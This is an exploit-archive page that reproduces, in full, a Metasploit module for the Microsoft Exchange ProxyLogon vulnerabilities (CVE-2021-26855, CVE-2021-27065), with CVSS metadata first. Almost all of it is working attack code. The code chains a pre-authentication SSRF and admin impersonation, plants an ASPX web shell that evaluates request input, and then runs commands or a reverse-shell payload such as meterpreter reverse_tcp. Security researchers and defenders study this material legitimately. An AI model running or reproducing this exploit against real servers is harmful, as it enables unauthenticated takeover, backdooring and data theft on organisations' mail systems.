Microsoft Exchange ProxyLogon Remote Code Execution
CVE
Category
Price
Severity
CVE-2021-26855
CWE-125
Unknown
Critical
Author
Risk
Exploitation Type
Date
Multiple
Critical
Remote
2021-03-24
CPE
cpe:cpe:/a:microsoft:exchange_server
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021030171 Below is a copy:
Microsoft Exchange ProxyLogon Remote Code Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyLogon RCE',
'Description' => %q{
This module exploit a vulnerability on Microsoft Exchange Server that
allows an attacker bypassing the authentication, impersonating as the
admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get
the RCE (Remote Code Execution).
By taking advantage of this vulnerability, you can execute arbitrary
commands on the remote Microsoft Exchange Server.
This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
All components are vulnerable by default.
},
'Author' => [
'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)
'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)
'mekhalleh (RAMELLA Sbastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)
'print("")', # https://www.o2oxy.cn/3169.html
'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691
],
'References' => [
['CVE', '2021-26855'],
['CVE', '2021-27065'],
['LOGO', 'https://proxylogon.com/images/logo.jpg'],
['URL', 'https://proxylogon.com/'],
['URL', 'http://aka.ms/exchangevulns'],
['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],
[
'URL',
'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'
],
['URL', 'https://www.o2oxy.cn/3169.html'],
['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']
],
'DisclosureDate' => '2021-03-02',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',
'HttpClientTimeout' => 60,
'RPORT' => 443,
'SSL' => true,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
},
'Platform' => ['windows'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Windows Powershell',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_powershell,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_dropper,
'CmdStagerFlavor' => %i[psh_invokewebrequest],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
}
}
],
[
'Windows Command',
{
'Platform' => 'windows',
'Arch' => [ARCH_CMD],
'Type' => :windows_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'AKA' => ['ProxyLogon']
}
)
)
register_options([
OptString.new('EMAIL', [true, 'A known email address for this organization']),
OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])
])
register_advanced_options([
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])
])
end
def cmd_windows_generic?
datastore['PAYLOAD'] == 'cmd/windows/generic'
end
def encode_cmd(cmd)
cmd.gsub!('\\', '\\\\\\')
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
end
def execute_command(cmd, _opts = {})
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(web_directory, @random_filename),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "#{@random_inputname}=#{cmd}"
)
end
def install_payload(exploit_info)
# exploit_info: [server_name, sid, session, canary, oab_id]
input_name = rand_text_alpha(4..8).to_s
shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>"
data = {
identity: {
__type: 'Identity:ECP',
DisplayName: (exploit_info[4][0]).to_s,
RawIdentity: (exploit_info[4][1]).to_s
},
properties: {
Parameters: {
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
ExternalUrl: shell.to_s
}
}
}.to_json
response = send_http(
'POST',
"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",
data: data,
cookie: exploit_info[2],
ctype: 'application/json; charset=utf-8',
headers: {
'msExchLogonMailbox' => patch_sid(exploit_info[1]),
'msExchTargetMailbox' => patch_sid(exploit_info[1]),
'X-vDirObjectId' => (exploit_info[4][1]).to_s
}
)
return '' if response.code != 200
input_name
end
def message(msg)
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
end
def patch_sid(sid)
ar = sid.to_s.split('-')
if ar[-1] != '500'
sid = "#{ar[0..6].join('-')}-500"
end
sid
end
def random_mapi_id
id = "{#{Rex::Text.rand_text_hex(8)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
id.upcase
end
def random_ssrf_id
# https://en.wikipedia.org/wiki/2,147,483,647 (lol)
# max. 2147483647
rand(1941962752..2147483647)
end
def request_autodiscover(server_name)
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
response = send_http(
'POST',
"#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}",
data: soap_autodiscover,
ctype: 'text/xml; charset=utf-8'
)
case response.body
when %r{<ErrorCode>500</ErrorCode>}
fail_with(Failure::NotFound, 'No Autodiscover information was found')
when %r{<Action>redirectAddr</Action>}
fail_with(Failure::NotFound, 'No email address was found')
end
xml = Nokogiri::XML.parse(response.body)
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?
server = ''
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
type = item.at_xpath('./xmlns:Type', xmlns)&.content
if type == 'EXCH'
server = item.at_xpath('./xmlns:Server', xmlns)&.content
end
end
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
[server, legacy_dn]
end
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
def request_mapi(server_name, legacy_dn, server_id)
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
headers = {
'X-RequestType' => 'Connect',
'X-ClientInfo' => random_mapi_id,
'X-ClientApplication' => datastore['MapiClientApp'],
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
}
sid = ''
response = send_http(
'POST',
"Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}",
data: data,
ctype: 'application/mapi-http',
headers: headers
)
if response.code == 200
sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/
sid = response.body.match(sid_regex).to_s
end
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?
sid
end
def request_oab(server_name, sid, session, canary)
data = {
filter: {
Parameters: {
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
SelectedView: '',
SelectedVDirType: 'OAB'
}
},
sort: {}
}.to_json
response = send_http(
'POST',
"Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}",
data: data,
cookie: session,
ctype: 'application/json; charset=utf-8',
headers: {
'msExchLogonMailbox' => patch_sid(sid),
'msExchTargetMailbox' => patch_sid(sid)
}
)
if response.code == 200
data = JSON.parse(response.body)
data['d']['Output'].each do |oab|
if oab['Server'].downcase == server_name.downcase
return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]
end
end
end
[]
end
def request_proxylogon(server_name, sid)
data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>"
session_id = ''
canary = ''
response = send_http(
'POST',
"Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}",
data: data,
ctype: 'text/xml; charset=utf-8',
headers: {
'msExchLogonMailbox' => patch_sid(sid),
'msExchTargetMailbox' => patch_sid(sid)
}
)
if response.code == 241
session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ...
end
[session_id, canary]
end
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
def run_cve_2021_26855
# request for internal server name.
response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")
if response.code != 500 || !response.headers.to_s.include?('X-FEServer')
fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')
end
server_name = response.headers['X-FEServer']
print_status("Internal server name (#{server_name})")
# get informations by autodiscover request.
print_status(message('Sending autodiscover request'))
server_id, legacy_dn = request_autodiscover(server_name)
print_status("Server: #{server_id}")
print_status("LegacyDN: #{legacy_dn}")
# get the user UID using mapi request.
print_status(message('Sending mapi request'))
sid = request_mapi(server_name, legacy_dn, server_id)
print_status("SID: #{sid} (#{datastore['EMAIL']})")
# search oab
sid, session, canary, oab_id = search_oab(server_name, sid)
[server_name, sid, session, canary, oab_id]
end
# post-auth arbitrary file write.
def run_cve_2021_27065(session_info)
# set external url (and set the payload).
print_status('Prepare the payload on the remote target')
input_name = install_payload(session_info)
fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty?
# reset the virtual directory (and write the payload).
print_status('Write the payload on the remote target')
remote_file = write_payload(session_info)
fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty?
# wait a lot.
i = 0
while i < datastore['MaxWaitLoop']
received = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(web_directory, remote_file)
})
if received && (received.code == 200)
break
end
print_warning("Wait a lot (#{i})")
sleep 5
i += 1
end
fail_with(Failure::PayloadFailed, 'Could\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302
[input_name, remote_file]
end
def search_oab(server_name, sid)
# request cookies (session and canary)
print_status(message('Sending ProxyLogon request'))
print_status('Try to get a good msExchCanary (by patching user SID method)')
session_id, canary = request_proxylogon(server_name, patch_sid(sid))
if canary
session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
oab_id = request_oab(server_name, sid, session, canary)
end
if oab_id.nil? || oab_id.empty?
print_status('Try to get a good msExchCanary (without correcting the user SID)')
session_id, canary = request_proxylogon(server_name, sid)
if canary
session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
oab_id = request_oab(server_name, sid, session, canary)
end
end
fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?
fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?
fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?
print_status("ASP.NET_SessionId: #{session_id}")
print_status("msExchEcpCanary: #{canary}")
print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})")
return [sid, session, canary, oab_id]
end
def send_http(method, ssrf, opts = {})
ssrf = "X-BEResource=#{ssrf};"
if opts[:cookie] && !opts[:cookie].empty?
opts[:cookie] = "#{ssrf} #{opts[:cookie]}"
else
opts[:cookie] = ssrf.to_s
end
opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?
request = {
'method' => method,
'uri' => @random_uri,
'agent' => datastore['UserAgent'],
'ctype' => opts[:ctype]
}
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
received = send_request_cgi(request)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
received
end
def soap_autodiscover
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>#{datastore['EMAIL']}</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
SOAP
end
def web_directory
if datastore['UseAlternatePath']
web_dir = datastore['IISWritePath'].gsub('\\', '/')
else
web_dir = datastore['ExchangeWritePath'].gsub('\\', '/')
end
web_dir
end
def write_payload(exploit_info)
# exploit_info: [server_name, sid, session, canary, oab_id]
remote_file = "#{rand_text_alpha(4..8)}.aspx"
if datastore['UseAlternatePath']
remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"
else
remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"
end
data = {
identity: {
__type: 'Identity:ECP',
DisplayName: (exploit_info[4][0]).to_s,
RawIdentity: (exploit_info[4][1]).to_s
},
properties: {
Parameters: {
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
FilePathName: remote_path.to_s
}
}
}.to_json
response = send_http(
'POST',
"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",
data: data,
cookie: exploit_info[2],
ctype: 'application/json; charset=utf-8',
headers: {
'msExchLogonMailbox' => patch_sid(exploit_info[1]),
'msExchTargetMailbox' => patch_sid(exploit_info[1]),
'X-vDirObjectId' => (exploit_info[4][1]).to_s
}
)
return '' if response.code != 200
remote_file
end
def exploit
@proto = (ssl ? 'https' : 'http')
@random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js")
print_status(message('Attempt to exploit for CVE-2021-26855'))
exploit_info = run_cve_2021_26855
print_status(message('Attempt to exploit for CVE-2021-27065'))
shell_info = run_cve_2021_27065(exploit_info)
@random_inputname = shell_info[0]
@random_filename = shell_info[1]
print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
if datastore['UseAlternatePath']
remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}"
else
remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}"
end
register_files_for_cleanup(remote_file)
# trigger powa!
case target['Type']
when :windows_command
vprint_status("Generated payload: #{payload.encoded}")
if !cmd_windows_generic?
execute_command(payload.encoded)
else
response = execute_command("cmd /c #{payload.encoded}")
print_warning('Dumping command output in response')
output = response.body.split('Name :')[0]
if output.empty?
print_error('Empty response, no command output')
return
end
print_line(output)
end
when :windows_dropper
execute_command(generate_cmdstager(concat_operator: ';').join)
when :windows_powershell
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
execute_command(cmd)
end
end
end
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use .